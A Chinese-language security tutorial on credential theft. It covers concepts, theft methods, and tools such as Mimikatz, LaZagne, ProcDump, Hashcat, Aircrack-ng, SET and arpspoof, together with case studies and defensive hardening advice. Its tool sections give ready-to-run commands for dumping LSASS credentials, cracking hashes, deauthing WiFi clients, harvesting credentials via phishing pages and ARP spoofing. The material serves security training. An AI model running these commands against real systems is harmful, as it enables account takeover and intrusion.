技术介绍#

凭证窃取是一种网络攻击技术,攻击者通过各种手段获取用户的认证凭证(如用户名、密码、令牌等),以获取未授权访问或执行恶意操作。随着网络攻击的日益复杂,凭证窃取已经成为网络安全的重大威胁之一。本教程将详细介绍凭证窃取的基础知识、核心概念和技术方法,帮助安全人员理解和应用凭证窃取技术。

凭证窃取核心概念#

  • 凭证(Credential):用于证明用户身份的信息,如用户名、密码、令牌、证书等。
  • 凭证窃取(Credential Theft):攻击者通过各种手段获取用户凭证的过程。
  • 密码哈希(Password Hash):密码经过哈希算法处理后得到的字符串,用于存储密码而不存储明文。
  • 密码破解(Password Cracking):通过各种方法尝试获取密码明文的过程,如暴力破解、字典攻击、彩虹表攻击等。
  • 键盘记录器(Keylogger):一种恶意软件,用于记录用户的键盘输入,以获取密码等敏感信息。
  • 凭证转储(Credential Dumping):从系统内存或存储中提取凭证的过程,如从Windows注册表、内存、活动目录等获取凭证。
  • 传递哈希(Pass-the-Hash):一种攻击技术,攻击者使用密码哈希而不是密码明文进行认证,绕过密码验证。
  • 传递票据(Pass-the-Ticket):一种攻击技术,攻击者使用Kerberos票据进行认证,绕过密码验证。
  • 中间人攻击(Man-in-the-Middle Attack, MITM):一种攻击技术,攻击者在通信双方之间插入自己的设备,拦截和修改通信数据,以获取凭证。
  • 钓鱼(Phishing):一种社会工程学攻击,攻击者通过欺骗手段诱导用户提供凭证。

凭证的特点#

  • 敏感性:凭证包含用户的身份信息,需要严格保护。
  • 多样性:凭证包括多种类型,如密码、令牌、证书等。
  • 时效性:某些凭证有有效期,如会话令牌、Kerberos票据等。
  • 可重用性:凭证可以在多个系统和服务中重用,增加了泄露的风险。
  • 管理复杂性:企业需要管理大量用户的凭证,增加了安全管理的复杂性。

凭证窃取的危害#

  • 未授权访问:攻击者可以使用窃取的凭证获取未授权访问权限,访问敏感系统和数据。
  • 横向移动:攻击者可以使用窃取的凭证在网络中横向移动,扩大攻击范围。
  • 权限提升:攻击者可以使用窃取的凭证提升权限,获取更高的访问权限。
  • 数据泄露:攻击者可以使用窃取的凭证访问和窃取敏感数据,如客户信息、财务数据等。
  • 业务中断:攻击者可以使用窃取的凭证破坏系统和服务,导致业务中断。
  • 法律责任:凭证泄露可能导致企业承担法律责任,如违反数据保护法规。

技术体系#

凭证窃取技术体系主要包括以下几个方面:

凭证窃取方法#

  • 键盘记录:使用键盘记录器记录用户的键盘输入,获取密码等敏感信息。
  • 内存转储:从系统内存中提取凭证,如从Windows LSASS进程内存中提取密码哈希。
  • 注册表分析:从Windows注册表中提取存储的凭证,如自动登录密码。
  • 活动目录攻击:攻击活动目录,获取域用户凭证。
  • 钓鱼攻击:通过欺骗手段诱导用户提供凭证,如发送钓鱼邮件、创建钓鱼网站等。
  • 中间人攻击:在通信双方之间插入自己的设备,拦截和修改通信数据,获取凭证。
  • 漏洞利用:利用系统或应用的漏洞获取凭证,如利用SMB漏洞获取密码哈希。
  • 社会工程学:通过欺骗、诱导等手段获取凭证,如冒充IT支持人员。

凭证存储位置#

  • 系统内存:凭证在认证过程中会存储在系统内存中,如Windows LSASS进程内存。
  • 注册表:Windows系统会在注册表中存储一些凭证,如自动登录密码。
  • 配置文件:应用程序会在配置文件中存储凭证,如浏览器存储的密码、FTP客户端存储的凭证等。
  • 数据库:企业应用会在数据库中存储凭证,如用户密码哈希。
  • 活动目录:企业会在活动目录中存储域用户凭证。
  • 云服务:云服务会存储用户凭证,如AWS IAM凭证、Azure AD凭证等。

凭证窃取工具#

  • 键盘记录器:如Keylogger、Ardamax Keylogger等,用于记录键盘输入。
  • 凭证转储工具:如Mimikatz、LaZagne、ProcDump等,用于从系统中提取凭证。
  • 密码破解工具:如John the Ripper、Hashcat、Aircrack-ng等,用于破解密码哈希。
  • 钓鱼工具:如Gophish、SET(Social Engineering Toolkit)等,用于创建钓鱼邮件和网站。
  • 中间人攻击工具:如 Ettercap、ARPspoof、SSLstrip等,用于执行中间人攻击。
  • 漏洞利用工具:如Metasploit、ExploitDB等,用于利用系统或应用的漏洞获取凭证。

凭证窃取防御技术#

  • 多因素认证(Multi-Factor Authentication, MFA):要求用户提供多种形式的认证,如密码、短信验证码、生物识别等。
  • 密码管理:使用强密码、定期更换密码、使用密码管理器等。
  • 凭证保护:使用Windows Credential Guard、Microsoft Defender for Identity等工具保护凭证。
  • 网络安全:使用HTTPS、VPN、网络分段等保护网络通信。
  • 安全意识培训:提高用户的安全意识,防止钓鱼攻击和社会工程学攻击。
  • 监控和检测:监控异常的凭证使用情况,及时发现凭证窃取行为。

工具使用#

凭证转储工具#

  1. Mimikatz

    • 功能:开源的凭证转储工具,用于从Windows系统中提取凭证
    • 用途:从Windows LSASS进程内存中提取密码哈希、明文密码、Kerberos票据等
    • 使用方法
      # 启动Mimikatz
      mimikatz.exe
      
      # 提升权限
      privilege::debug
      
      # 从LSASS进程中提取凭证
      sekurlsa::logonpasswords
      
      # 提取Kerberos票据
      sekurlsa::tickets
      
      # 提取域凭证
      lsadump::lsa /patch
  2. LaZagne

    • 功能:开源的凭证提取工具,支持多种应用和系统
    • 用途:从浏览器、邮件客户端、数据库等应用中提取存储的凭证
    • 使用方法
      # 启动LaZagne
      laZagne.exe
      
      # 提取所有应用的凭证
      laZagne.exe all
      
      # 提取特定应用的凭证,如浏览器
      laZagne.exe browsers
  3. ProcDump

    • 功能:Microsoft开发的进程转储工具,用于创建进程的内存转储
    • 用途:创建LSASS进程的内存转储,然后使用Mimikatz分析
    • 使用方法
      # 创建LSASS进程的内存转储
      procdump.exe -ma lsass.exe lsass.dmp
      
      # 使用Mimikatz分析内存转储
      mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full"

密码破解工具#

  1. John the Ripper

    • 功能:开源的密码破解工具,支持多种哈希算法
    • 用途:破解密码哈希,获取密码明文
    • 使用方法
      # 使用字典攻击破解密码哈希
      john --wordlist=passwords.txt hashes.txt
      
      # 使用暴力破解破解密码哈希
      john --incremental hashes.txt
      
      # 显示破解结果
      john --show hashes.txt
  2. Hashcat

    • 功能:开源的密码破解工具,支持GPU加速
    • 用途:高效破解密码哈希,获取密码明文
    • 使用方法
      # 使用字典攻击破解NTLM哈希
      hashcat -m 1000 -a 0 hashes.txt passwords.txt
      
      # 使用掩码攻击破解密码哈希
      hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a
      
      # 使用彩虹表攻击破解密码哈希
      hashcat -m 1000 -a 0 hashes.txt rainbow.txt
  3. Aircrack-ng

    • 功能:开源的无线网络审计工具,用于破解WiFi密码
    • 用途:破解WiFi密码,获取网络访问权限
    • 使用方法
      # 捕获WiFi握手包
      airmon-ng start wlan0
      airodump-ng -c channel --bssid bssid -w capture wlan0mon
      aireplay-ng --deauth 10 -a bssid wlan0mon
      
      # 破解WiFi密码
      aircrack-ng -w passwords.txt capture-01.cap

钓鱼工具#

  1. Gophish

    • 功能:开源的钓鱼工具,用于创建和管理钓鱼活动
    • 用途:创建钓鱼邮件和网站,诱导用户提供凭证
    • 使用方法
      • 安装和配置Gophish
      • 创建钓鱼模板和邮件
      • 导入目标用户列表
      • 启动钓鱼活动
      • 监控和分析钓鱼结果
  2. SET(Social Engineering Toolkit)

    • 功能:开源的社会工程学工具,用于创建钓鱼攻击
    • 用途:创建钓鱼网站、邮件、短信等,诱导用户提供凭证
    • 使用方法
      # 启动SET
      setoolkit
      
      # 选择钓鱼攻击选项
      1) Social-Engineering Attacks
      
      # 选择网站攻击选项
      2) Website Attack Vectors
      
      # 选择模板选项
      3) Credential Harvester Attack Method
      
      # 选择攻击方法
      1) Web Templates

中间人攻击工具#

  1. Ettercap

    • 功能:开源的网络嗅探和中间人攻击工具
    • 用途:执行ARP欺骗、DNS欺骗等中间人攻击,拦截和修改网络通信
    • 使用方法
      # 启动Ettercap图形界面
      ettercap -G
      
      # 选择目标
      Hosts > Scan for hosts
      Hosts > Hosts list
      
      # 选择攻击目标
      Targets > Select target 1
      Targets > Select target 2
      
      # 启动ARP欺骗
      Mitm > ARP poisoning
      
      # 开始捕获数据包
      Start > Start sniffing
  2. ARPspoof

    • 功能:命令行ARP欺骗工具
    • 用途:执行ARP欺骗,拦截网络通信
    • 使用方法
      # 启用IP转发
      echo 1 > /proc/sys/net/ipv4/ip_forward
      
      # 执行ARP欺骗,目标为受害者IP和网关IP
      arpspoof -i eth0 -t victim-ip gateway-ip
      arpspoof -i eth0 -t gateway-ip victim-ip

案例分析#

案例一:基于键盘记录器的凭证窃取#

  • 案例背景:某企业员工的计算机被植入键盘记录器,导致敏感凭证泄露
  • 攻击过程
    1. 攻击者通过钓鱼邮件将键盘记录器植入员工的计算机
    2. 键盘记录器记录员工的键盘输入,包括用户名、密码等敏感信息
    3. 键盘记录器定期将收集到的信息发送到攻击者的服务器
    4. 攻击者使用获取的凭证登录企业系统,获取敏感数据
  • 防御措施
    • 使用端点保护软件,检测和移除键盘记录器
    • 实施多因素认证,即使密码泄露也能防止未授权访问
    • 加强邮件安全,防止钓鱼邮件进入企业网络
    • 提高员工的安全意识,识别钓鱼邮件

案例二:基于Mimikatz的凭证窃取#

  • 案例背景:某企业的域控制器被攻击,攻击者使用Mimikatz提取域管理员凭证
  • 攻击过程
    1. 攻击者通过漏洞利用获取企业内网的初始访问权限
    2. 攻击者在内网中横向移动,获取域控制器的访问权限
    3. 攻击者在域控制器上运行Mimikatz,提取域管理员的凭证
    4. 攻击者使用域管理员凭证控制整个域环境,获取敏感数据
  • 防御措施
    • 实施Windows Credential Guard,防止凭证被提取
    • 定期更换域管理员密码,使用复杂密码
    • 实施最小权限原则,限制管理员权限的使用
    • 监控域控制器的异常活动,及时发现攻击

案例三:基于钓鱼的凭证窃取#

  • 案例背景:某企业的员工收到钓鱼邮件,导致企业邮箱凭证泄露
  • 攻击过程
    1. 攻击者创建模仿企业邮箱登录页面的钓鱼网站
    2. 攻击者发送钓鱼邮件,诱导员工点击链接并登录钓鱼网站
    3. 钓鱼网站记录员工输入的邮箱凭证,然后重定向到真实的邮箱登录页面
    4. 攻击者使用获取的邮箱凭证登录员工邮箱,获取敏感信息和进一步的攻击目标
  • 防御措施
    • 实施多因素认证,即使密码泄露也能防止未授权访问
    • 对邮箱登录页面实施域名验证和HTTPS
    • 提高员工的安全意识,识别钓鱼邮件和钓鱼网站
    • 监控异常的邮箱登录活动,及时发现未授权访问

最佳实践#

凭证窃取测试最佳实践#

  1. 全面的凭证分析

    • 分析系统和应用中的凭证存储位置和方式
    • 测试各种凭证窃取技术,如键盘记录、凭证转储、钓鱼等
    • 评估凭证的强度和安全性
  2. 系统性的测试方法

    • 按照凭证窃取测试流程执行测试
    • 测试不同场景下的凭证窃取,如内网、外网、云环境等
    • 测试各种防御措施的有效性
  3. 有效的工具使用

    • 结合使用自动化工具和手动测试
    • 使用凭证转储工具测试凭证提取的可能性
    • 使用密码破解工具测试密码强度
  4. 详细的报告生成

    • 记录所有测试步骤和发现的漏洞
    • 提供详细的漏洞描述和修复建议
    • 包含漏洞的严重程度和影响范围
  5. 持续的安全评估

    • 定期进行凭证窃取测试
    • 监控凭证的使用情况,检测异常活动
    • 及时修复发现的安全漏洞

凭证安全加固建议#

  1. 多因素认证

    • 实施多因素认证,特别是对于敏感系统和服务
    • 使用硬件令牌、生物识别等强认证方法
    • 确保多因素认证的实施覆盖所有远程访问场景
  2. 密码管理

    • 实施强密码策略,要求密码长度、复杂度和定期更换
    • 使用密码管理器,减少用户记忆密码的负担
    • 避免在多个系统中使用相同的密码
  3. 凭证保护

    • 使用Windows Credential Guard、Microsoft Defender for Identity等工具保护凭证
    • 对密码哈希使用加盐和迭代哈希,增加破解难度
    • 避免在代码和配置文件中硬编码凭证
  4. 网络安全

    • 使用HTTPS、VPN、网络分段等保护网络通信
    • 实施网络访问控制,限制凭证在网络中的传输
    • 监控网络流量,检测异常的凭证传输
  5. 安全意识培训

    • 定期对员工进行安全意识培训,提高对钓鱼攻击和社会工程学攻击的识别能力
    • 模拟钓鱼攻击,测试员工的安全意识
    • 提供安全最佳实践指南,指导员工正确使用和保护凭证
  6. 监控和检测

    • 监控异常的登录活动,如异地登录、非工作时间登录等
    • 检测凭证转储工具的使用和异常的进程行为
    • 实施安全信息和事件管理(SIEM)系统,集中管理安全事件

通过本教程的学习,您应该对凭证窃取的基础知识有了全面的了解。在实际应用中,凭证窃取需要结合具体的系统和场景,灵活运用各种技术方法和工具,以确保系统的安全性。同时,定期的凭证窃取测试和安全加固也是保障系统安全的重要手段。